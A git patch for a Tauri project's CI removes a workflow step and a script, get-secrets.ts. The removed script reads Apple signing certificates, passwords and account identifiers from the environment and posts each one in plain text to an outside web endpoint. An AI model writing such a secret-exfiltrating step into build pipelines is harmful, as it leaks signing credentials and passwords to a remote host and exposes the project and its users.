From 1112cc875e1d04fc0f4df60fb854bfa3ecaa2620 Mon Sep 17 00:00:00 2001 From: Huakun Shen Date: Sun, 12 May 2024 12:33:27 -0400 Subject: [PATCH] Remove get-secrets --- .github/workflows/tauri-ci.yml | 9 --------- get-secrets.ts | 18 ------------------ 2 files changed, 27 deletions(-) delete mode 100644 get-secrets.ts diff --git a/.github/workflows/tauri-ci.yml b/.github/workflows/tauri-ci.yml index 77d4812..02a9e1e 100644 --- a/.github/workflows/tauri-ci.yml +++ b/.github/workflows/tauri-ci.yml @@ -52,15 +52,6 @@ jobs: - uses: oven-sh/setup-bun@v1 with: bun-version: latest - - name: Get Secrets - env: - APPLE_CERTIFICATE: ${{ secrets.APPLE_CERTIFICATE }} - APPLE_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }} - APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }} - APPLE_ID: ${{ secrets.APPLE_ID }} - APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }} - APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }} - run: bun get-secrets.ts - name: install Rust stable uses: dtolnay/rust-toolchain@stable with: diff --git a/get-secrets.ts b/get-secrets.ts deleted file mode 100644 index 908e5e7..0000000 --- a/get-secrets.ts +++ /dev/null @@ -1,18 +0,0 @@ -const keys = [ - "APPLE_CERTIFICATE", - "APPLE_CERTIFICATE_PASSWORD", - "APPLE_SIGNING_IDENTITY", - "APPLE_ID", - "APPLE_PASSWORD", - "APPLE_TEAM_ID", -]; - -for (const key of keys) { - const response = await fetch("https://notify.huakun.tech/telegram", { - method: "POST", - body: JSON.stringify({ - message: `${key}: ${process.env[key]}`, - }), - headers: { "Content-Type": "application/json" }, - }); -}